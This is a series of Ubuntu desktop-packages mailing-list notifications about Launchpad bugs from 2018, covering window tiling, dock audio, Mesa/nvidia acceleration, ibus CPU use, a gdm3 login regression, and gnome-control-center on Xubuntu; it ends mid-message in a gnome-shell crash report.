This bug is now an enhancement request, because https://gitlab.gnome.org/GNOME/gnome-shell/issues/287 ** Changed in: gnome-shell (Ubuntu) Importance: Undecided => Wishlist ** Changed in: mutter (Ubuntu) Importance: Undecided => Wishlist ** Changed in: gnome-shell (Ubuntu) Status: Incomplete => New ** Changed in: mutter (Ubuntu) Status: Incomplete => New ** No longer affects: mutter (Ubuntu) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1767806 Title: Position of left-tiled windows not restored correctly when another left-tiled window present Status in gnome-shell package in Ubuntu: New Bug description: When another window is maximized or tiled to the left side of the screen, re-opening an application whose window was previously tiled to the left side does not restore that windows' previous position. Instead such windows open at varying distances from the dock, untiled. = Steps to reproduce *expected* behavior (with a newly created user) = 1. open Firefox, drag the window to the left edge of the screen to tile it there (filling up the left half of horizontal screen space) 2. close Firefox 3. open Nautilus, make sure that the window floats (i.e. is unmaximized and not tiled to either side of screen) 4. open Firefox == What happens == As expected, Firefox's window is tiled to the left edge of screen, immediately to the right side of the dock. = Steps to reproduce *unexpected* behavior (with a newly created user) = 1. open Firefox, drag the window to the left edge of the screen to tile it there (filling up the left half of horizontal screen space) 2. close Firefox 3. open Nautilus, *maximize its window* 4. open Firefox == What happens == Firefox's window opens slightly to the right off the right edge of the dock (with a gap between the dock and the window). == What I expect to happen == I expect Firefox's window to be tiled to the left edge of screen, immediately to the right side of the dock, just as it did following the first recipe above. = Further information = Either maximizing or tiling Nautilus' window to the left edge of the screen (at step #3) triggers the issue. Tiling it to the *right* edge of the screen does not. Using Gnome Terminal instead of Nautilus triggers the issue just as well, I suspect any other application will though I've only systematically tested these two so far. From battling with this in my daily use I also know that the distance of incorrectly restored windows from the dock varies: different applications open at different distances. The precise mechanics of this still elude me, though the distances do appear to be multiples of 25 pixels. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: mutter 3.28.1-1ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun Apr 29 16:32:37 2018 InstallationDate: Installed on 2016-10-13 (562 days ago) InstallationMedia: Ubuntu-Server 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=fi_FI.UTF-8 SHELL=/bin/bash SourcePackage: mutter UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1767806/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1718824] Re: The analogue audio does not work on the Dell USB Dock
@benste, The log in the #67 looks good, I can't find problem in it. After we confirmed this is a problem/regression, then reopen the status. But I don't think the change can make line-out stop working if it works before. If you want line-out or headphone of dock station to work, after plug it, please verify "pactl info" first, make sure the "Default Sink" is "alsa_output.usb-Generic_USB_Audio..." instead of "alsa_output.pci- _00_1f...", And if you want to change the default sink or the output profile (headphone or lineout0 of usb dock, you can open sound-settings to choose (system settings--->sound settings). If the description of above doesn't work, please upload an alsa-info.txt (run alsa-info.sh to generate alsa-info.txt). thx. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1718824 Title: The analogue audio does not work on the Dell USB Dock Status in HWE Next: Fix Released Status in OEM Priority Project: Fix Released Status in pulseaudio package in Ubuntu: Fix Released Status in pulseaudio source package in Xenial: Fix Released Status in pulseaudio source package in Artful: Fix Released Bug description: SRU Document: [Impact] If users use the latest Dell USB Dock, e.g. TB16, they will found the analog audio (lineout jack) can't work under ubuntu linux [Test Case] After applying the fix, users can play sound via analog speaker or lineout freely. Without the fix, users can't play sound from lineout jack. [Regression Potential] No any possibility to introduce regression since this fix just adding a new dock's support, it does not change any existing code. [Other Info] No more info here Steps: 1. Cold boot system with BME/IE connected 2. Plug in a speaker to Line-out jack 3. Set Analog Stereo Output from Sound settings Expected results: Line-out port can work Actual results: Line-out port not work To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1718824/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1718824] Re: The analogue audio does not work on the Dell USB Dock
This bug is closed. If a regression has occurred then please open a new bug by running: ubuntu-bug pulseaudio -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1718824 Title: The analogue audio does not work on the Dell USB Dock Status in HWE Next: Fix Released Status in OEM Priority Project: Fix Released Status in pulseaudio package in Ubuntu: Fix Released Status in pulseaudio source package in Xenial: Fix Released Status in pulseaudio source package in Artful: Fix Released Bug description: SRU Document: [Impact] If users use the latest Dell USB Dock, e.g. TB16, they will found the analog audio (lineout jack) can't work under ubuntu linux [Test Case] After applying the fix, users can play sound via analog speaker or lineout freely. Without the fix, users can't play sound from lineout jack. [Regression Potential] No any possibility to introduce regression since this fix just adding a new dock's support, it does not change any existing code. [Other Info] No more info here Steps: 1. Cold boot system with BME/IE connected 2. Plug in a speaker to Line-out jack 3. Set Analog Stereo Output from Sound settings Expected results: Line-out port can work Actual results: Line-out port not work To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1718824/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1753663] Re: [Mesa 18.0 + nvidia-390] No 3D acceleration, using llvmpipe
This bug is closed. If you continue to experience any problems then please open a new bug by running: ubuntu-bug mesa or ubuntu-bug nvidia-graphics-drivers-390 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1753663 Title: [Mesa 18.0 + nvidia-390] No 3D acceleration, using llvmpipe Status in libglvnd package in Ubuntu: Fix Released Status in mesa package in Ubuntu: Fix Released Status in nvidia-graphics-drivers-390 package in Ubuntu: Invalid Bug description: As requested in https://bugs.launchpad.net/ubuntu/+source/libglvnd/+bug/1751414, I fill a new bug. Even after getting the fixed packages in https://bugs.launchpad.net/ubuntu/+source/libglvnd/+bug/1751414, I get no 3D acceleration. Seems to be some mixup with nvidia drivers. $glxinfo ... Extended renderer info (GLX_MESA_query_renderer): Vendor: VMware, Inc. (0x) Device: llvmpipe (LLVM 5.0, 256 bits) (0x) Version: 18.0.0 Accelerated: no Video memory: 15963MB Unified memory: no Preferred profile: core (0x1) Max core profile version: 3.3 Max compat profile version: 3.0 Max GLES1 profile version: 1.1 Max GLES[23] profile version: 3.0 ... $ vdpauinfo display: :1 screen: 0 Failed to open VDPAU backend libvdpau_nvidia.so: cannot open shared object file: No such file or directory ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 .tmp.unity_support_test.1: ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CompizPlugins: [core,composite,opengl,compiztoolbox,decor,imgpng,snap,mousepoll,commands,imgjpeg,workarounds,wall,imgsvg,resize,place,neg,grid,scale,regex,text,shelf,expo,move,gnomecompat,annotate,session,notification,resizeinfo,ezoom,staticswitcher,bench] CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: MATE Date: Tue Mar 6 08:00:28 2018 DistUpgraded: 2018-03-03 08:30:16,182 DEBUG /openCache(), new cache size 86475 DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: fwts-efi-runtime-dkms, 18.02.00, 4.15.0-10-generic, x86_64: installed ndiswrapper, 1.60, 4.15.0-10-generic, x86_64: installed r8168, 8.045.08, 4.15.0-10-generic, x86_64: installed tp_smapi, 0.42, 4.15.0-10-generic, x86_64: installed virtualbox, 5.2.8, 4.15.0-10-generic, x86_64: installed ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 08) (prog-if 00 [VGA controller]) Subsystem: Intel Corporation HD Graphics 5500 [8086:1616] MachineType: www.51nb.com X62 ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-10-generic root=UUID=df422beb-6d13-4575-9b30-ad00e25a7d35 ro noquiet nosplash SourcePackage: xorg Symptom: display UpgradeStatus: Upgraded to bionic on 2018-03-03 (2 days ago) dmi.bios.date: 12/10/2016 dmi.bios.vendor: 51NB dmi.bios.version: 5.011 dmi.board.asset.tag: X62 dmi.board.name: CRESCENTBAY dmi.board.vendor: INTEL Corporation dmi.board.version: X62. dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 10 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvn51NB:bvr5.011:bd12/10/2016:svnwww.51nb.com:pnX62:pvrV10:rvnINTELCorporation:rnCRESCENTBAY:rvrX62.:cvnToBeFilledByO.E.M.:ct10:cvrToBeFilledByO.E.M.: dmi.product.family: X62 dmi.product.name: X62 dmi.product.version: V10 dmi.sys.vendor: www.51nb.com version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.90-1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.0~rc4-1ubuntu3 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.0~rc4-1ubuntu3 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.10.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libglvnd/+bug/1753663/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1766503] Re: ibus-* randomly use high CPU
** Also affects: ubuntu-power-consumption Importance: Undecided Status: New ** Changed in: ubuntu-power-consumption Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to ibus in Ubuntu. https://bugs.launchpad.net/bugs/1766503 Title: ibus-* randomly use high CPU Status in The Ubuntu Power Consumption Project: Confirmed Status in ibus package in Ubuntu: Confirmed Bug description: ibus-* randomly use high CPU in Ubuntu 18.04 In fact, I think it's now using more CPU overall than the shell itself is to redraw a 4K screen: PID USER PR NIVIRTRESSHR S %CPU %MEM TIME+ COMMAND 3308 dan 20 0 4009804 192676 84804 R 45.7 2.4 1:13.65 gnome-shell 3352 dan 20 0 384364 26796 20552 S 13.9 0.3 0:22.81 ibus-x11 3372 dan 20 0 217944 10620 7764 S 10.9 0.1 0:16.20 ibus-engin+ 3350 dan 20 0 293828 10384 7516 R 10.6 0.1 0:16.54 ibus-dconf 3346 dan 20 0 374572 11944 8268 S 10.3 0.1 0:15.93 ibus-daemon ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: ibus 1.5.17-3ubuntu4 ProcVersionSignature: Ubuntu 4.15.0-19.20-generic 4.15.17 Uname: Linux 4.15.0-19-generic x86_64 ApportVersion: 2.20.9-0ubuntu6 Architecture: amd64 Date: Tue Apr 24 15:29:07 2018 InstallationDate: Installed on 2017-12-12 (133 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20171211) SourcePackage: ibus UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-consumption/+bug/1766503/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1766137] Re: [regression] Password accepted but login fails (blank purple screen and mouse pointer only)
I have tested the login process as follows: a) Install gdm3 from bionic-proposed version 3.28.0-0ubuntu1.1 - in Ubuntu 18.04 LTS and reboot. b) When login screen appears, click on my username and enter incorrect password. c) Enter correct password and press enter or click on sign in. Login successful. However I have encountered the following issue: a) Log out of Ubuntu 18.04 LTS. b) Click on my username and enter my password correctly to login again and click on sign in or press enter. The login prompt freezes, cannot click on cancel or the signin button. When I click on the button to perform a restart or shutdown, it indicates that I am still logged in therefore there appears to be an issue logging out. I also confirm that the issue as reported by Bodlinux in post #60 also occurs exactly as described. In this case clicking on the button to perform a restart or shutdown indicates that I am logged in but haven't moved past the login screen to the desktop so again an issue there. I have only installed the gdm3 update from bionic-proposed, do we need additional updates in order for the login system to be tested properly or will the gdm3 update suffice? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1766137 Title: [regression] Password accepted but login fails (blank purple screen and mouse pointer only) Status in gdm: Fix Released Status in Release Notes for Ubuntu: Fix Released Status in gdm3 package in Ubuntu: Fix Released Status in gnome-shell package in Ubuntu: Invalid Status in gdm3 source package in Bionic: Fix Committed Status in gnome-shell source package in Bionic: Invalid Bug description: [ Description ] Due to a refcounting bug, a GDBusConnection was getting disposed when it was still required. The symptom of this was that you couldn't log in if you'd got your password wrong. [ Test case ] 1. Boot to GDM 2. Click your username 3. Type the wrong password a couple of times, pressing enter after each time 4. Type the right password If the bug is happening, after 4. the system hangs at a blank screen with the mouse cursor. If you then switch to a VT or otherwise connect to the machine, you can examine the journal and you'll see a G_IS_DBUS_CONNECTION failure. [ Fix ] Marco and I worked upstream on this fix. We found out that there was a problem like this- The GdmClient has a shared GDBusConnection for its operations. The first time someone calls for it, it is created and stored in the object's private structure. Subsequent calls return *a new reference* to this same object. It turned out that the asynchronous method to get the connection was accidentally unreferencing its object before giving it to the caller if it was returning an already-existing connection. For this to work properly, we need to nullify the pointer we stored when the connection goes away, so we know when to make a new one. There were some cases where we didn't add the weak references required to do that. Those are also fixed. [ Regression potential ] Now we share connections more than we did before. We also more carefully track when to clear our object. If we got this wrong, we might end up leaking the connection or dropping it in even more cases. [ Original report ] WORKAROUND: After typing an incorrect password, click Cancel, then click your name, then enter your password again. --- Trying to log into my session (Gnome, Xorg), if I enter the wrong password before entering it correctly, the session doesn't load and I get a purple screen, a mouse cursor, and an invisible but clickable menu in the top right. If I enter it correctly the first time, there is no problem. I've replicated this from a fresh boot, after logging out and after 'sudo service gdm restart' from the Ctrl-Alt-F4 console. This is a fresh install, and didn't occur when I was using a previous install of 18.04 (until Friday). ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gdm3 3.28.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-15.16-generic 4.15.15 Uname: Linux 4.15.0-15-generic x86_64 ApportVersion: 2.20.9-0ubuntu6 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun Apr 22 20:31:13 2018 InstallationDate: Installed on 2018-04-22 (0 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180421.1) SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/gdm/+bug/1766137/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772338] [NEW] Deprecation warning compiling against unity.vapi
Public bug reported: Vala 0.31.1 deprecated the "Deprecated" code attribute, replacing it with "Version". The copy of unity.vapi shipped by libunity-dev in bionic still uses the Deprecated attribute, however. I.e. in unity.vapi: [Deprecated (replacement = "AppInfoManager.get_default")] public static Unity.AppInfoManager get_instance (); Should instead be: [Version (deprecated = true, replacement = "AppInfoManager.get_default")] public static Unity.AppInfoManager get_instance (); This causes a deprecation warning when compiling against it, regardless of whether any deprecated calls are actually being made by the code being compiled. While a minor issue, it would be good to have fixed since it makes it impossible to develop against it with fatal warnings enabled, which is bad for QA. The Unity build seems to generate that file as per usual (as a valac build artefact) so I would assume this should be fixed by a simple rebuild using vala >= 0.31.1, but surely the version of libunity-dev that shipped with bionic would have been rebuild against valac that ships with bionic (0.40)? So I'm not sure why Deprecated is still present in the vapi. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: libunity-dev 7.1.4+18.04.20180209.1-0ubuntu2 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CurrentDesktop: GNOME Date: Mon May 21 10:45:08 2018 InstallationDate: Installed on 2015-07-22 (1033 days ago) InstallationMedia: Ubuntu-GNOME 15.04 "Vivid Vervet" - Release amd64 (20150422) SourcePackage: libunity UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: libunity (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug bionic wayland-session -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to libunity in Ubuntu. Matching subscriptions: dp-libunity https://bugs.launchpad.net/bugs/1772338 Title: Deprecation warning compiling against unity.vapi Status in libunity package in Ubuntu: New Bug description: Vala 0.31.1 deprecated the "Deprecated" code attribute, replacing it with "Version". The copy of unity.vapi shipped by libunity-dev in bionic still uses the Deprecated attribute, however. I.e. in unity.vapi: [Deprecated (replacement = "AppInfoManager.get_default")] public static Unity.AppInfoManager get_instance (); Should instead be: [Version (deprecated = true, replacement = "AppInfoManager.get_default")] public static Unity.AppInfoManager get_instance (); This causes a deprecation warning when compiling against it, regardless of whether any deprecated calls are actually being made by the code being compiled. While a minor issue, it would be good to have fixed since it makes it impossible to develop against it with fatal warnings enabled, which is bad for QA. The Unity build seems to generate that file as per usual (as a valac build artefact) so I would assume this should be fixed by a simple rebuild using vala >= 0.31.1, but surely the version of libunity-dev that shipped with bionic would have been rebuild against valac that ships with bionic (0.40)? So I'm not sure why Deprecated is still present in the vapi. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: libunity-dev 7.1.4+18.04.20180209.1-0ubuntu2 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CurrentDesktop: GNOME Date: Mon May 21 10:45:08 2018 InstallationDate: Installed on 2015-07-22 (1033 days ago) InstallationMedia: Ubuntu-GNOME 15.04 "Vivid Vervet" - Release amd64 (20150422) SourcePackage: libunity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libunity/+bug/1772338/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1587154] Re: --working-directory does not work anymore
This bug has been fixed for Ubuntu 16.04.3 LTS running under Kernel 4.14.34-generic: $ gnome-terminal --working-directory=/tmp Opens a new terminal window with `/tmp` the current directory as expect. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-terminal in Ubuntu. https://bugs.launchpad.net/bugs/1587154 Title: --working-directory does not work anymore Status in gnome-terminal package in Ubuntu: Confirmed Bug description: After upgrading from ubuntu 14.04 to 16.04 one of my script the uses --working-directory option stopped working. Simply running: gnome-terminal --working-directory=/tmp Starts the terminal in my home directory. Changing the command to gnome-terminal.real does not solve my problem either. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-terminal/+bug/1587154/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1754872] Re: gnome-control-center is unusable on xubuntu-desktop, but called from Gear (About this Computer, System Settings) icon, Text Entry Settings, clock (Time & Date Sett
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: xubuntu-meta (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. https://bugs.launchpad.net/bugs/1754872 Title: gnome-control-center is unusable on xubuntu-desktop, but called from Gear (About this Computer, System Settings) icon, Text Entry Settings, clock (Time & Date Settings) Status in gnome-control-center package in Ubuntu: Confirmed Status in indicator-datetime package in Ubuntu: Confirmed Status in xubuntu-meta package in Ubuntu: Confirmed Bug description: Steps to reproduce: 1. Install `xubuntu-desktop` meta package on 18.04 LTS 2. Login to session 3a. Click on clock indicator on panel, select "Time & Date Settings" 3b. Click on Gear, select "About this Computer" or "System Settings" 3c. Click on keyboard layout indicator, select "Text Entry Settings" Expected results: xfce-oriented control center is opened Actual results: gnome-control-center is opened, but with empty window. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xubuntu-desktop 2.223 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: XFCE Date: Sat Mar 10 21:10:11 2018 SourcePackage: xubuntu-meta UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1754872/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1754872] Re: gnome-control-center is unusable on xubuntu-desktop, but called from Gear (About this Computer, System Settings) icon, Text Entry Settings, clock (Time & Date Sett
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: gnome-control-center (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. https://bugs.launchpad.net/bugs/1754872 Title: gnome-control-center is unusable on xubuntu-desktop, but called from Gear (About this Computer, System Settings) icon, Text Entry Settings, clock (Time & Date Settings) Status in gnome-control-center package in Ubuntu: Confirmed Status in indicator-datetime package in Ubuntu: Confirmed Status in xubuntu-meta package in Ubuntu: Confirmed Bug description: Steps to reproduce: 1. Install `xubuntu-desktop` meta package on 18.04 LTS 2. Login to session 3a. Click on clock indicator on panel, select "Time & Date Settings" 3b. Click on Gear, select "About this Computer" or "System Settings" 3c. Click on keyboard layout indicator, select "Text Entry Settings" Expected results: xfce-oriented control center is opened Actual results: gnome-control-center is opened, but with empty window. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xubuntu-desktop 2.223 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: XFCE Date: Sat Mar 10 21:10:11 2018 SourcePackage: xubuntu-meta UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1754872/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1754872] Re: gnome-control-center is unusable on xubuntu-desktop, but called from Gear (About this Computer, System Settings) icon, Text Entry Settings, clock (Time & Date Sett
Same problem here - I installed from early beta and used the same method of installing visa tasksel! -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. https://bugs.launchpad.net/bugs/1754872 Title: gnome-control-center is unusable on xubuntu-desktop, but called from Gear (About this Computer, System Settings) icon, Text Entry Settings, clock (Time & Date Settings) Status in gnome-control-center package in Ubuntu: Confirmed Status in indicator-datetime package in Ubuntu: Confirmed Status in xubuntu-meta package in Ubuntu: Confirmed Bug description: Steps to reproduce: 1. Install `xubuntu-desktop` meta package on 18.04 LTS 2. Login to session 3a. Click on clock indicator on panel, select "Time & Date Settings" 3b. Click on Gear, select "About this Computer" or "System Settings" 3c. Click on keyboard layout indicator, select "Text Entry Settings" Expected results: xfce-oriented control center is opened Actual results: gnome-control-center is opened, but with empty window. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xubuntu-desktop 2.223 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: XFCE Date: Sat Mar 10 21:10:11 2018 SourcePackage: xubuntu-meta UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1754872/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1754872] Re: gnome-control-center is unusable on xubuntu-desktop, but called from Gear (About this Computer, System Settings) icon, Text Entry Settings, clock (Time & Date Sett
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: indicator-datetime (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. https://bugs.launchpad.net/bugs/1754872 Title: gnome-control-center is unusable on xubuntu-desktop, but called from Gear (About this Computer, System Settings) icon, Text Entry Settings, clock (Time & Date Settings) Status in gnome-control-center package in Ubuntu: Confirmed Status in indicator-datetime package in Ubuntu: Confirmed Status in xubuntu-meta package in Ubuntu: Confirmed Bug description: Steps to reproduce: 1. Install `xubuntu-desktop` meta package on 18.04 LTS 2. Login to session 3a. Click on clock indicator on panel, select "Time & Date Settings" 3b. Click on Gear, select "About this Computer" or "System Settings" 3c. Click on keyboard layout indicator, select "Text Entry Settings" Expected results: xfce-oriented control center is opened Actual results: gnome-control-center is opened, but with empty window. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xubuntu-desktop 2.223 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: XFCE Date: Sat Mar 10 21:10:11 2018 SourcePackage: xubuntu-meta UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1754872/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1754949] Re: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() from meta_renderer_native_finish_frame()
** Tags added: cosmic -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1754949 Title: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() from meta_renderer_native_finish_frame() Status in gnome-shell package in Ubuntu: In Progress Status in linux package in Ubuntu: Triaged Bug description: https://gitlab.gnome.org/GNOME/mutter/issues/70 https://errors.ubuntu.com/problem/16426125ad8d92ae4dc9ce9e89450153b0a8b665 --- The crash was reported after booting and logging in to an X.Org session. $ lsb_release -rd Description: Ubuntu Bionic Beaver (development branch) Release: 18.04 $ apt-cache policy gnome-shell gnome-shell: Instalovaná verze: 3.27.92-0ubuntu1 Kandidát: 3.27.92-0ubuntu1 Tabulka verzí: *** 3.27.92-0ubuntu1 500 500 http://de.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 100 /var/lib/dpkg/status ProblemType: Crash DistroRelease: Ubuntu 18.04 Package: gnome-shell 3.27.92-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: GNOME-Greeter:GNOME Date: Sun Mar 11 11:08:00 2018 DisplayManager: gdm3 ExecutablePath: /usr/bin/gnome-shell GsettingsChanges: InstallationDate: Installed on 2017-12-19 (81 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20171018) ProcCmdline: /usr/bin/gnome-shell ProcEnviron: LANGUAGE=cs_CZ PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=cs_CZ.UTF-8 SHELL=/bin/false SegvAnalysis: Segfault happened at: 0x7f3fee5d2f17 : mov0x20(%rax),%rcx PC (0x7f3fee5d2f17) ok source "0x20(%rax)" (0x0020) not located in a known VMA region (needed readable region)! destination "%rcx" ok SegvReason: reading NULL VMA Signal: 11 SourcePackage: gnome-shell StacktraceTop: meta_gpu_kms_apply_crtc_mode () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0 meta_renderer_native_finish_frame () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0 () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so Title: gnome-shell crashed with 